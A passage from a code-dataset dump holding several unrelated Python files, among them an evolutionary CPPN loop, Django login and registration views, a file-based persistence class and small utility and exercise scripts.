above the threshold\n\t\t\t\t\tCURRENT_STAG_GENS[specInd] = 0\n\t\t\t\n\t\t\t# if this is the first generation for a species, append values for it into both stagnation-tracking lists\n\t\t\telse:\n\t\t\t\tLAST_FITNESS.append(avgSpecFit)\n\t\t\t\tCURRENT_STAG_GENS.append(0)\n\n\t\t# traverse the list of stagnance counters to see if any species need to be penalized for being stagnant\n\t\tindex = 0\n\t\tfor spec in CURRENT_STAG_GENS:\n\t\t\t# if stagnant generations too high, penalize the species\n\t\t\tif(spec >= MIN_NUM_STAGNANT_GENERATIONS):\n\t\t\t\t# penalizing stagnant species\n\t\t\t\tfor org in species[index]:\n\t\t\t\t\t# penalization increases as the number of stagnant generations increases\n\t\t\t\t\torg.fitness /= (float(2*spec)/MIN_NUM_STAGNANT_GENERATIONS)\n\t\t\t\t\torg.fit_obj.values = (org.fitness,)\t\n\t\t\tindex += 1\n\n\t\ttournamentSelectSpecies = []\n\n\t\t# speciate the population after finding corresponding fitnesses\n\t\tprint(\"Num Species: \" + str(len(species)))\n\t\t# go through each species and select the best individuals from each species\n\t\tfor specInd in range(len(species)):\n\t\t\t# set all species back to 0 first:\n\t\t\tfor org in species[specInd]:\n\t\t\t\torg.species = sys.maxsize\n\t\t\tbestInd = toolbox.tournSelect(species[specInd], tournsize = 2, k = 1)[0]\n\t\t\tbestInd = bestInd.getCopy()\n\t\t\ttournamentSelectSpecies.append(bestInd)\n\t\t\n\t\t# fittest from species function selects all species representatives\n\t\t# and sets the species variable for the rest of the population to sys.maxsize\n\t\tfitTup = getFittestFromSpecies(species)\n\t\tbestInSpecies = fitTup[0]\n\t\tpop = fitTup[1]\n\n\t\tfor org in tournamentSelectSpecies:\n\t\t\tbestInSpecies.append(org)\t\n\n\n\n\t\t# select from rest of population to form the full sized population\n\t\tpop = toolbox.select(pop, bestInSpecies)\n\n\t\t# only apply mutation if there will be another iteration of selection following this\n\t\tif(g < NGEN - 1):\n\t\t\t# apply weight mutations\n\t\t\tfor ind in pop:\n\t\t\t\tif(ind.species == sys.maxsize and np.random.uniform() <= weightMutpb):\n\t\t\t\t\ttoolbox.weightMutate(ind)\n\t\t\t\t\t# must invalidate individuals fitness if mutation applied\n\t\t\t\t\tdel ind.fit_obj.values\n\t\t\t\n\t\t\t# apply node mutations\n\t\t\tfor ind in pop:\n\t\t\t\tif(ind.species == sys.maxsize and np.random.uniform() <= nodeMutpb):\n\t\t\t\t\ttoolbox.nodeMutate(ind, gb)\n\t\t\t\t\tdel ind.fit_obj.values\n\n\t\t\t# apply connection mutations\n\t\t\tfor ind in pop:\n\t\t\t\tif(ind.species == sys.maxsize and np.random.uniform() <= conMutpb):\n\t\t\t\t\ttoolbox.connectionMutate(ind, gb)\n\t\t\t\t\tdel ind.fit_obj.values\n\t\t\t\n\t\t\t# apply crossover\n\t\t\t# go through population looking at every pair of individuals next to each other \n\t\t\tfor child1Ind, child2Ind in zip(range(0,len(pop),2), range(1,len(pop),2)):\n\t\t\t\tinterspecies_probability = .001 # probability individuals crossed over if not in same species\n\t\t\t\tchild1 = pop[child1Ind]\n\t\t\t\tchild2 = pop[child2Ind]\n\t\t\t\tdist = child1.getDistance(child2, theta1, theta2, theta3)\n\n\t\t\t\t# crossover happens with different probability depending if individuals in question are in same species\n\t\t\t\tif(child1.species == sys.maxsize and child2.species == sys.maxsize and dist < thresh and np.random.uniform() <= cxPb):\n\t\t\t\t\t# cross individuals over and put them into the population\n\t\t\t\t\txTup = toolbox.mate(child1, child2)\n\t\t\t\t\tpop[child1Ind] = xTup[0]\n\t\t\t\t\tpop[child2Ind] = xTup[1]\n\t\t\t\t\tdel pop[child1Ind].fit_obj.values\n\t\t\t\t\tdel pop[child2Ind].fit_obj.values\n\t\t\t\telif(child1.species == sys.maxsize and child2.species == sys.maxsize and np.random.uniform() <= interspecies_probability):\n\t\t\t\t\txTup = toolbox.mate(child1, child2)\n\t\t\t\t\tpop[child1Ind] = xTup[0]\n\t\t\t\t\tpop[child2Ind] = xTup[1]\n\t\t\t\t\tdel pop[child1Ind].fit_obj.values\n\t\t\t\t\tdel pop[child2Ind].fit_obj.values\n\t\t\t\n\t\t\t# apply activation mutation\n\t\t\tfor ind in pop:\n\t\t\t\tif(ind.species == sys.maxsize and np.random.uniform() <= actMutpb):\n\t\t\t\t\ttoolbox.activationMutate(ind)\n\t\t\t\t\tdel ind.fit_obj.values\n\n\t\t# must clear the dictionary of innovation numbers for the coming generation\n\t\t# only check to see if same innovation occurs twice in a single generation\n\t\tgb.clearDict()\n\n\t# return the population after it has been evolved\n\treturn pop\n\n\n\n# runs the main evolutionary loop if this file is ran from terminal\nif __name__ == '__main__':\n\t'''\n\tpop_tup = pickle.load(open('/home/wolfecameron/Desktop/CPPN_pop_result/CPPN_delete_con_test_7.txt', 'rb'))\n\tpop = pop_tup[0]\n\tfor individual in pop:\n\t\torg = Genotype(2,1)\n\t\torg.connections = individual.connections\n\t\torg.nodes = individual.nodes\n\t\torg.gSize = individual.gSize\n\t\toutput = []\n\t\tfor ins in NORM_IN:\n\t\t\toutput.append(org.getOutput(ins)[0])\n\t\tgraphImage(np.array(output, copy=True), 50, 50, 200)\n\t\torg.graph_genotype()\n\n\t'''\n\t# the following are all parameter settings for main function\n\tNGEN = 800\n\tWEIGHT_MUTPB = .3#float(args.weight)/100.0 #.3 \n\tNODE_MUTPB = .03#float(args.node)/100.0 #.02\n\tCON_MUTPB = .25#float(args.con)/100.0 #.1\n\tCXPB = .1#float(args.cross)/100.0 #.1\n\tACTPB = .05#float(args.act)/100.0 #.05\n\tTHRESHOLD = 3.0\n\tALPHA = 1.0\n\tTHETA1 = 1.0\n\tTHETA2 = 1.0\n\tTHETA3 = 0.4\n\tNUM_IN = 2\n\tNUM_OUT = 1\n\n\t# main parameters: nGen, weightMutpb, nodeMutpb, conMutpb, cxPb, thresh, alpha, theta1, theta2, theta3, numIn, numOut\n\t# run main EA loop\n\tfinalPop = main(NGEN, WEIGHT_MUTPB, NODE_MUTPB, CON_MUTPB, CXPB, ACTPB, THRESHOLD, ALPHA, THETA1, THETA2, THETA3, NUM_IN, NUM_OUT)\n\t#examine_population_dmat(finalPop, NUM_X, NUM_Y)\n\n\tfile_name = get_file_name(\"/home/crwolfe/Documents/CPPN_test_env/CPPN_pop_result\", \"CPPN_dparam_test_\")\n\n\tsave_population(finalPop, SEED, file_name)\n\t\n\n","sub_path":"FULL_CPPN_dparamea.py","file_name":"FULL_CPPN_dparamea.py","file_ext":"py","file_size_in_byte":14458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"639035294","text":"import threading\nimport time\nimport logging\nimport concurrent.futures\nimport random\n\ndef generator1(event):\n logging.info(\"generator 1 started\")\n event_status = event.is_set()\n logging.info(\"generator1 - event is: %s\", event_status)\n while event_status:\n logging.info(\"generator1 generating %s\", random.randint(1, 101))\n\n logging.info(\"generator1 event is not set, doing something else\")\n\ndef generator2(event, end_event):\n logging.info(\"generator 2 started\")\n while True:\n if event.is_set():\n logging.info(\"event icindeyim\")\n time.sleep(0.1)\n else:\n logging.info(\"event disindayim\")\n time.sleep(0.1)\n if end_event.is_set():\n break\n\n\n\n\nif __name__ == \"__main__\":\n logging.basicConfig(level=logging.DEBUG,\n format='(%(threadName)-9s) %(message)s', )\n\n event = threading.Event()\n end_event = threading.Event()\n t1 = threading.Thread(name=\"gen2\", target=generator2, args=(event, end_event))\n t1.start()\n time.sleep(1)\n event.set()\n time.sleep(1)\n event.clear()\n time.sleep(1)\n logging.info(\"main is finished now\")\n end_event.set()\n\n","sub_path":"Threads/thread_event_example2.py","file_name":"thread_event_example2.py","file_ext":"py","file_size_in_byte":1200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"270080647","text":"#!/usr/bin/env python\n\nimport socket\nimport requests\nfrom netaddr import *\nimport config\n\n# destination testing\ndestinations = {'PC 1': '10.0.1.6', 'Google': 'google.com', 'PC 1 again': '10.0.1.6', 'Google once more': 'google.com'}\n# associating private networks with the corresponding virtual interface\nvirt_devices = {'10.0.0.0/8': 'ppp0'}\n\n\n# check whether host belongs to a private network\ndef check_private_host(dst):\n\tfor cidr in config.NETWORK_CONNECT_PRIVATE:\n\t\tif IPAddress(str(dst)) in IPNetwork(str(cidr)):\n\t\t\treturn cidr\n\t\telse:\n\t\t\tcontinue\n\treturn False\n\n\n# monkey patch socket to BINDTODEVICE\ndef bind_device(assocs):\n\n\t_socket = socket.socket\n\n\tclass Socket(_socket):\n\n\t\tdef connect(self, *args, **kwargs):\n\t\t\taddr, port = args[0] # destination (IP, PORT)\n\t\t\tpriv = check_private_host(socket.gethostbyname(addr))\n\t\t\tif not priv:\n\t\t\t\tpass\n\t\t\telse:\n\t\t\t\tprint('NOTICE: Private host detected. Attempting connection ...')\n\t\t\t\tfor key, value in assocs.iteritems():\n\t\t\t\t\tif key == priv:\n\t\t\t\t\t\tiface = assocs[key]\n\t\t\t\t\t\tself.setsockopt(socket.SOL_SOCKET, 25, iface) # define SO_BINDTODEVICE 25\n\n\t\t\tsuper(Socket, self).connect(*args, **kwargs)\n\n\treturn Socket\n\nsocket.socket = bind_device(virt_devices)\n\nfor host, ip in destinations.iteritems():\n\tprint('Poking ' + str(host) + ' ...')\n\turl = 'http://' + str(destinations[host])\n\treq = requests.get(url, timeout=2)\n\tif req and str(host)[:6] == 'Google':\n\t\tprint('Google responded OK\\n')\n\telse:\n\t\tprint(req.text + '\\n')","sub_path":"patched/vpn_server_2.py","file_name":"vpn_server_2.py","file_ext":"py","file_size_in_byte":1475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"188690888","text":"\nfrom django.shortcuts import render, redirect\nfrom django.views import View\nfrom django.contrib import messages\n\nfrom .models import Profile\nfrom templates import static\nfrom django.http import HttpResponse\nfrom django.contrib.auth.models import User, Group\nfrom django.contrib.auth import authenticate, logout, login\nfrom django.contrib.auth.decorators import login_required\n\n\n\nlogin_required(login_url='dangnhap')\nclass Trangchu(View):\n\n def get(self,request):\n return render(request,'static/Khach_Hang/TrangChu.html')\n\nclass dangki(View):\n def get(self, request):\n return render(request, 'static/Khach_Hang/register.html')\n\n def post(self, request):\n # f = CreateUserForm()\n if request.method == 'POST':\n hovaten = request.POST.get('hovaten',False)\n name = request.POST.get('tendangnhap', False)\n pw = request.POST.get('matkhau', False)\n pw1 = request.POST.get('nhaplaimatkhau', False)\n phone = request.POST.get('sodienthoai', False)\n email = request.POST.get('email', False)\n avatar = request.POST.get('avatar', False)\n gioitinh = request.POST.get('gioitinh', False)\n diachi = request.POST.get('diachi', False)\n alluser=User.objects.all()\n dem=0\n\n\n\n for i in alluser:\n if i.get_username() == name or i.get_email_field_name() == email:\n dem=1\n if dem==1:\n messages.info(request, \"Tên đăng nhập hoặc email đã tồn tại\")\n return render(request, 'static/Khach_Hang/register.html')\n else:\n if (pw1 == pw and name!=pw and name!= pw1 ) :\n for i in Profile.objects.all():\n if i.phone == phone:\n messages.info(request, \"Số điện thoại đã tồn tại\")\n return render(request, 'static/Khach_Hang/register.html')\n else:\n user = User.objects.create_user(username=name, password=pw, email=email)\n user.save()\n\n user1 = User.objects.get(username=name)\n profile = Profile.objects.create(user=user1,username=hovaten,avatar=avatar,sex=gioitinh,address=diachi, phone=phone )\n profile.save()\n my_group = Group.objects.get(name='Users')\n my_group.user_set.add(user1)\n messages.info(request, \"Đăng kí thành công, hãy đăng nhập\")\n return redirect('trang-chu:dangnhap')\n else:\n messages.info(request, \"Đăng kí thất bại, vui lòng nhập lại\")\n return render(request, 'static/Khach_Hang/register.html')\n\nclass dangnhap(View):\n def get(self, request):\n\n return render(request, 'static/Khach_Hang/login.html')\n\n def post(self, request):\n username = request.POST.get('tendangnhap')\n password = request.POST.get('matkhau')\n\n user = authenticate(request, username=username, password=password)\n\n if user is not None:\n login(request, user)\n #return render(request, 'static/Khach_Hang/TrangChu.html')\n return redirect('trang-chu:trangchu')\n else:\n messages.error(request, \"Đăng nhập thất bại, nhập lại tài khoản\")\n return render(request, 'static/Khach_Hang/login.html')\n\ndef logoutUser(request):\n logout(request)\n return redirect('trang-chu:trangchu')\n\n\n\n\n\n\nclass thanhtoan(View):\n\n def get(self,request):\n return render(request,'static/Khach_Hang/ThanhToan.html')\nclass tintuc(View):\n\n def get(self,request):\n return render(request,'static/Khach_Hang/TinTuc.html')\nclass giohang(View):\n\n def get(self,request):\n return render(request,'static/Khach_Hang/GioHang.html')\n\nclass chitietsanpham(View):\n def get(self,request):\n return render(request,'static/Khach_Hang/ChiTietSanPham.html')","sub_path":"KhachHang/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"175653793","text":"from selenium import webdriver\nfrom selenium.webdriver.support.ui import WebDriverWait # for implicit and explict waits\nfrom selenium.webdriver.chrome.options import Options # for suppressing the browser\n\ndef ReadFromWebSite(WEBSITE='https://markmanson.net/best-articles'):\n PATH = 'C:\\Program Files (x86)\\chromedriver.exe'\n #PATH = \"./drivers/chromedriver\"\n option = webdriver.ChromeOptions()\n option.add_argument('headless')\n driver = webdriver.Chrome(PATH,options=option)\n #driver = webdriver.Chrome(executable_path=\"/home/abanoub/Downloads/GpTextSummrizer/chromedriver\", options=option)\n driver.get(WEBSITE)\n el = driver.find_element_by_tag_name('body')\n text2 = str(el.text)\n return text2","sub_path":"webScraping.py","file_name":"webScraping.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"336458666","text":"# -*- coding: utf-8 -*-\n\"\"\"\n pip_services_runtime.persistence.FilePersistence\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n \n Abstract file-based persistence implementation\n \n :copyright: Digital Living Software Corp. 2015-2016, see AUTHORS for more details.\n :license: MIT, see LICENSE for more details.\n\"\"\"\n\nimport json\nimport random\nimport os.path\n\nfrom .AbstractPersistence import AbstractPersistence\nfrom ..State import State\nfrom ..portability.DynamicMap import DynamicMap\nfrom ..portability.Converter import Converter\nfrom ..data.PagingParams import PagingParams\nfrom ..data.DataPage import DataPage\nfrom ..errors.ConfigError import ConfigError\nfrom ..errors.FileError import FileError\n\nfiltered = filter\n\nclass FilePersistence(AbstractPersistence):\n \"\"\"\n Abstract file-based implementation of microservice persistence components\n that store and retrieve persistent data.\n \"\"\"\n\n _default_config = DynamicMap.from_tuples( \\\n \"options.max_page_size\", 100 \\\n )\n\n _path = None\n _initial_data = None\n _max_page_size = None\n _items = None\n\n def __init__(self, descriptor):\n \"\"\"\n Creates instance of abstract file persistence component.\n \n Args:\n descriptor: the unique descriptor that is used to identify and locate the component.\n \"\"\"\n super(FilePersistence, self).__init__(descriptor)\n\n def configure(self, config):\n \"\"\"\n Sets component configuration parameters and switches from component\n to 'Configured' state. The configuration is only allowed once\n right after creation. Attempts to perform reconfiguration will cause an exception.\n \n Args:\n config: the component configuration parameters.\n\n Returns: None\n\n Args:\n MicroserviceError: when component is in illegal state or configuration validation fails. \n \"\"\"\n self.check_new_state_allowed(State.Configured)\n \n config = config.with_defaults(self._default_config)\n options = config.get_options()\n \n if options == None or options.has_not(\"path\"):\n raise ConfigError(self, \"NoPath\", \"Data file path is not set\")\n \n super(FilePersistence, self).configure(config)\n\n self._path = options.get_string(\"path\")\n self._max_page_size = options.get_integer(\"max_page_size\")\n self._initial_data = options.get(\"data\")\n\n def open(self):\n \"\"\"\n Opens the component, performs initialization, opens connections\n to external services and makes the component ready for operations.\n Opening can be done multiple times: right after linking or reopening after closure. \n\n Returns: None\n\n Raises:\n MicroserviceError: when initialization or connections fail.\n \"\"\"\n self.check_new_state_allowed(State.Opened)\n \n # Fill with predefined data (for testing)\n if type(self._initial_data) in [list, tuple]:\n self._items = list(self._initial_data)\n else:\n self.load()\n\n super(FilePersistence, self).open()\n\n def close(self):\n \"\"\"\n Closes the component and all open connections, performs deinitialization\n steps. Closure can only be done from opened state. Attempts to close\n already closed component or in wrong order will cause exception.\n \n Returns: None\n \n Raises:\n MicroserviceError: with closure fails.\n \"\"\"\n self.check_new_state_allowed(State.Closed)\n\n self.save()\n \n super(FilePersistence, self).close()\n\n def load(self):\n self.trace(None, \"Loading data from file at \" + self._path)\n\n # If doesn't exist then consider empty data\n if not os.path.isfile(self._path):\n self._items = []\n return\n\n try:\n with open(self._path, 'r') as file:\n self._items = json.load(file)\n except Exception as e:\n raise FileError(self, \"ReadFailed\", \"Failed to read data file\") \\\n .with_cause(e)\n\n def save(self):\n self.trace(None, \"Saving data to file at \" + self._path)\n\n try:\n with open(self._path, 'w') as file:\n json.dump(self._items, file)\n except Exception as e:\n raise FileError(self, \"WriteFailed\", \"Failed to write data file\") \\\n .with_cause(e)\n\n def clear_test_data(self):\n self._items = []\n self.save()\n\n def get_page(self, correlation_id, filter_func, paging, sort_func = None, select_func = None):\n items = self._items\n \n # Filter and sort\n if filter_func != None:\n items = filtered(filter_func, items)\n if sort_func != None:\n items = sorted(items, sort_func)\n\n # Prepare paging parameters \n paging = paging if paging != None else PagingParams()\n skip = paging.get_skip(-1)\n take = paging.get_take(self._max_page_size)\n \n # Get a page\n page_items = items\n if skip > 0:\n page_items = page_items[skip:]\n if take > 0:\n page_items = page_items[:take+1]\n \n # Convert values\n if select_func != None:\n page_items = map(select_func, page_items)\n \n # Return a page\n return DataPage(page_items, len(items))\n\n def get_list(self, correlation_id, filter_func, sort_func = None, select_func = None):\n items = self._items\n\n # Filter and sort \n if filter_func != None:\n items = filtered(items, filter_func)\n if sort_func != None:\n items = sorted(items, sort_func) \n \n # Convert values \n if select_func != None:\n items = map(select_func, items)\n \n # Return a list\n return items\n\n def get_by_id(self, correlation_id, id):\n for item in self._items:\n if item['id'] == id:\n return item\n\n return None\n\n def get_random(self, correlation_id):\n if len(self._items) == 0: return None\n\n index = random.randint(0, length(_items))\n return self._items[index]\n\n def create(self, correlation_id, item):\n item = dict(item)\n item['id'] = item['id'] if 'id' in item and item['id'] != None else self.create_uuid()\n\n self._items.append(item)\n\n self.save()\n return item\n\n def replace(self, correlation_id, id, new_item):\n item = self.get_by_id(correlation_id, id)\n if item == None: return None\n \n index = self._items.index(item)\n if index < 0: return None\n\n new_item['id'] = id\n self._items[index] = new_item\n\n self.save()\n return new_item\n\n def update(self, correlation_id, id, new_values):\n if not isinstance(new_values, DynamicMap):\n new_values = Converter.to_nullable_map(new_values)\n\n item = self.get_by_id(correlation_id, id)\n if item == None: return None\n\n new_values.assign_to(item)\n\n self.save()\n return item\n\n def delete(self, correlation_id, id):\n item = self.get_by_id(correlation_id, id)\n if item == None: return\n \n index = self._items.index(item)\n if index < 0:\n return\n\n del self._items[index]\n\n self.save()\n","sub_path":"pip_services_runtime/persistence/FilePersistence.py","file_name":"FilePersistence.py","file_ext":"py","file_size_in_byte":7494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"269595277","text":"#!/usr/bin/python\n# python data_parser.py tenant_list nova_brn1 nova_ilg1\n\n# pip install tabulate\n\nfrom __future__ import print_function\nimport csv\nimport sys\nFANCY_TABLES = True\n\ndef get_tenant_dictionary(file_name):\n # From file_name, extract a dict with Tenant ids as keys and Instance Names as values \n tenant_ids = {}\n row_count = 1\n with open(file_name) as fle:\n reader = csv.DictReader(fle, delimiter=\"|\", skipinitialspace=True, \\\n fieldnames=[None, 'tenant_id', 'name', None])\n for row in reader:\n if row_count > 3:\n try:\n tenant_id = row.get('tenant_id', '').strip()\n name = row.get('name', '').strip()\n if tenant_id != '' and name != '':\n tenant_ids[tenant_id] = name\n except AttributeError:\n print( 'ERROR for Tenant dictionary row: ' + str( row ))\n row_count += 1\n return tenant_ids \n\ndef get_results_from(file_name, tenant_list, output_array):\n \"\"\" From file_name, add Instance Name and associated Tenant Name to the output array,\n using tenant_list as a lookup table \"\"\"\n row_count = 1\n with open(file_name) as fle:\n reader = csv.DictReader(fle, delimiter=\"|\", skipinitialspace=True, \\\n fieldnames=[None, None, 'name', 'tenant_id'])\n for row in reader:\n if row_count > 3:\n try:\n tenant_id = row.get('tenant_id', '').strip()\n name = row.get('name', '').strip()\n if tenant_id != '' and name != '':\n if tenant_id in tenant_list:\n output_array.append((name, tenant_list[tenant_id]))\n else:\n output_array.append((name, 'No matching TENANT'))\n except AttributeError:\n print('ERROR for row: ' + str(row))\n row_count += 1\n\ndef print_results(output_array):\n \"\"\" Print results, either using tabulate or plain text with tab separators \"\"\"\n if FANCY_TABLES:\n from tabulate import tabulate\n print(tabulate(output_array, headers=['Tenant', 'Name'], tablefmt='grid'))\n else:\n print('Name\\t\\tTenant Name')\n for row in output_array:\n print(row[0] + '\\t\\t' + row[1])\n\nif len(sys.argv) != 4:\n raise Exception('Exactly 3 file names must be passed in to the script')\n\nTENANT_LIST = get_tenant_dictionary(sys.argv[1])\nOUTPUT = []\n\nget_results_from(sys.argv[2], TENANT_LIST, OUTPUT)\nget_results_from(sys.argv[3], TENANT_LIST, OUTPUT)\nprint_results(OUTPUT)\n","sub_path":"dataparser.py","file_name":"dataparser.py","file_ext":"py","file_size_in_byte":2698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"498110858","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Aug 22 17:50:25 2020\n\n@author: deesaw\n\"\"\"\n\nimport pandas as pd\nimport glob\nimport os\n \n#os.chdir(r'D:\\Users\\DESAW\\Documents\\My Received Files\\LOAD')\nmyFiles = glob.glob('*.txt')\nprint(myFiles)\n\nfor file in myFiles:\n df=pd.read_csv(file,sep='\\t',dtype=object)\n print(file)\n column_name=input(\"Enter column name to be used for split\")\n Warehouse=df[column_name].unique()\n print(Warehouse)\n for wh in Warehouse: \n df1=df[df[column_name]==wh]\n df1.to_excel(str(file.split('.')[0]+wh+'.xlsx'),'Sheet1',engine='xlsxwriter',index=False)\n","sub_path":"Mutiple_excel_by_plant.py","file_name":"Mutiple_excel_by_plant.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"177834013","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jun 8 11:52:02 2017\n\n@author: gy11s2s\nThis code will attempt to plot for all months, the point where backscatter > average to moving back to below\naverage, i.e. picking out the area where the volcanic material is.\n\"\"\"\n\n# Import necessary packages\nimport numpy as np\nimport os.path\nimport matplotlib.pyplot as plt\n\n# Set necessary arrays/variables\nmonthdays_nly=[1,32,60,91,121,152,182,213,244,274,305,335]\t#Julian day month days for non-leap years\nmonthdays = monthdays_nly\n\nimonth=6\t#Set to 7 for July for now\nmonthdays=monthdays_nly\ndaycount = 0\nJulianDayList = []\nlower_layer_values = []\nupper_layer_values = []\n\n\n\n# Load in data\n\ni = 0 \nfor day in range(1,32): #Day range for an entire month\n filename = '/nfs/see-fs-01_users/gy11s2s/Python/NDACC_files/MLO/Plotting_months/Jan1991-Nov1992/*.txt' #+ str(day) + '.07.1991.txt' # Specifies July\n if os.path.isfile(filename):\n \n data = np.loadtxt(fname=filename, delimiter=',', skiprows=2, usecols=(0,1))\n col1 = data[:,0]\n col2 = data[:,1]\n altitude = col1/1000\t# Converts altitude to km\n backscatter=col2*0.001\t# Conversion factor for backscatter in data\n \n \n# Function to find top and bottom of the enhanced area - i.e. find average\n\n Average = np.average(backscatter)\n \n lower_layer_indices = np.where(backscatter > Average)\t# Set variable to find INDICES where BSR > Average\n lower_layer_index = lower_layer_indices[0][0]\n upper_layer_indices = np.where(backscatter < Average)\n upper_layer_index = min([x for x in upper_layer_indices[0] if x > lower_layer_index])\n \n# Append lists\n lower_layer_values.append(altitude[lower_layer_index])\n upper_layer_values.append(altitude[upper_layer_index])\n \n JulianDay = monthdays[imonth]+day-1\n JulianDayList.append(int(JulianDay))\n \n\n# Plot to test\n\nplt.figure()\n\nplot = plt.scatter(JulianDayList, lower_layer_values, color='r',label='Bottom of layer')\nplot = plt.scatter(JulianDayList, upper_layer_values, color='b',label='Top of layer')\nplt.xlabel('Time (Julian Day)')\nplt.ylabel('Height (km)')","sub_path":"Layers_over_time_analysis/Lidar/2_findandplotindices_all_months.py","file_name":"2_findandplotindices_all_months.py","file_ext":"py","file_size_in_byte":2328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"300659764","text":"# import packages\nimport argparse # handle parsing commandline arguments\nimport cv2 # opencv\n\n# Parse arguments\nap = argparse.ArgumentParser()\nap.add_argument(\"-i\", # short-form for the switch/commandline argument\n \"--image\", # long-form for the switch/commandline argument\n required=True, # a value must be provided\n help=\"path to image\")\nap.add_argument(\"-s\", # short-form for the switch/commandline argument\n \"--save\", # long-form for the switch/commandline argument\n required=False, # optional\n help=\"should the file be saved back as a jpeg?\")\n\nargs = vars(ap.parse_args())\n\n# load the image and show some basic information on it\nimage = cv2.imread(args[\"image\"]) # load the image\nprint(\"width: %d pixels\" % (image.shape[1])) # print out the width of image\nprint(\"height: %d pixels\" % (image.shape[0])) # print out the length of image\nprint(\"channels: %d\" % (image.shape[2])) # print out the channel count\n\n# show the image and wait for a keypress\n# cv2.imshow(\"Image\", image)\n# cv2.waitKey(0)\n\n# OpenCV handles converting filetypes automatically\n\nif args[\"save\"] is not None:\n cv2.imwrite(args[\"save\"], image)\n","sub_path":"notebooks/cvpy/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"58643934","text":"import speech_recognition as sr\nimport programExit\nlistener = sr.Recognizer()\nmic= sr.Microphone()\n\ndef startListening():\n \n with mic as source:\n\n print(\"............\")\n listener.adjust_for_ambient_noise(source)\n audioData = listener.listen(source)\n \n response = {\n \"success\": True,\n \"error\": None,\n \"voicedata\": \"\"\n }\n\n try:\n response[\"voicedata\"] = listener.recognize_google(audioData)\n except sr.RequestError:\n response[\"success\"] = False\n response[\"error\"] = \"can't reach google\"\n except sr.UnknownValueError:\n response[\"error\"] = \"couldn't hear you\"\n if(response[\"success\"] == True):\n print(response[\"voicedata\"])\n return (response[\"voicedata\"]).lower()\n else:\n print(response[\"error\"])\n programExit.pExit()\n \n","sub_path":"functions/listen.py","file_name":"listen.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"236315117","text":"# Given a collection of intervals, merge all overlapping intervals.\n# Given intervals => merged intervals:\n\n# [ [\n# [1, 3], [1, 6],\n# [2, 6], => [8, 10],\n# [8, 10], [15, 18]\n# [15, 18] ]\n# ]\n\n\"\"\"\nDefinition of Interval.\nclass Interval(object):\n def __init__(self, start, end):\n self.start = start\n self.end = end\n\"\"\"\n\nclass Solution:\n # @param intervals, a list of Interval\n # @return a list of Interval\n def merge(self, intervals):\n # write your code here\n if not intervals:\n return intervals\n intervals.sort(key=lambda x:x.start)\n result=[intervals[0]]\n for i in xrange(1, len(intervals)):\n prev=result[-1]\n curr=intervals[i]\n if curr.start<=prev.end:\n prev.end=max(prev.end, curr.end)\n else:\n result.append(curr)\n return result\n","sub_path":"merge_intervals.py","file_name":"merge_intervals.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"515699828","text":"def tickets(people):\n register = {100: 0, 50: 0, 25: 0}\n\n for x in people:\n change = x - 25\n while change != 0:\n if change >= 100 and register[100] > 0:\n register[100] -= 1\n change -= 100\n elif change >= 50 and register[50] > 0:\n register[50] -= 1\n change -= 50\n elif change >= 25 and register[25] > 0:\n register[25] -= 1\n change -= 25\n else:\n return 'NO'\n register[x] += 1\n return 'YES'\n\n'''\nThe new \"Avengers\" movie has just been released! There are a lot of people at the\ncinema box office standing in a huge line. Each of them has a single 100, 50 or 25\ndollars bill. An \"Avengers\" ticket costs 25 dollars.\n\nVasya is currently working as a clerk. He wants to sell a ticket to every\nsingle person in this line.\n\nCan Vasya sell a ticket to each person and give the change if he initially has no\nmoney and sells the tickets strictly in the order people follow in the line?\n\nReturn YES, if Vasya can sell a ticket to each person and give the change with the\nbills he has at hand at that moment. Otherwise return NO.\n\n###Examples:\n\ntickets([25, 25, 50]) # => YES\ntickets([25, 100])\n # => NO. Vasya will not have enough money to give change to 100 dollars\n'''\n","sub_path":"6-kyu/vasya-clerk.py","file_name":"vasya-clerk.py","file_ext":"py","file_size_in_byte":1345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"548241301","text":"from django.urls import path, include\nfrom match_history import views\n\napp_name = 'Matches'\n\nurlpatterns = [\n\tpath('Page', views.GetMatches, name = 'GetMatches'),\n\tpath('update_heroes', views.Update_Hereos, name='update_heroes'),\n\tpath('update_items', views.Update_Items, name='update_items'),\n\t]\n","sub_path":"match_history/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"53407852","text":"import pandas as pd\r\nimport numpy as np\r\nimport datetime as dt\r\nimport os\r\nfrom multiprocessing import Pool\r\nimport warnings\r\n\r\n\r\ndef slice_date(date):\r\n day = date % 100\r\n month = date // 100 % 100\r\n year = date // 10000\r\n return (year, month, day)\r\n\r\n\r\ndef slice_min(Time):\r\n if np.isnan(Time):\r\n return(-1, -1, 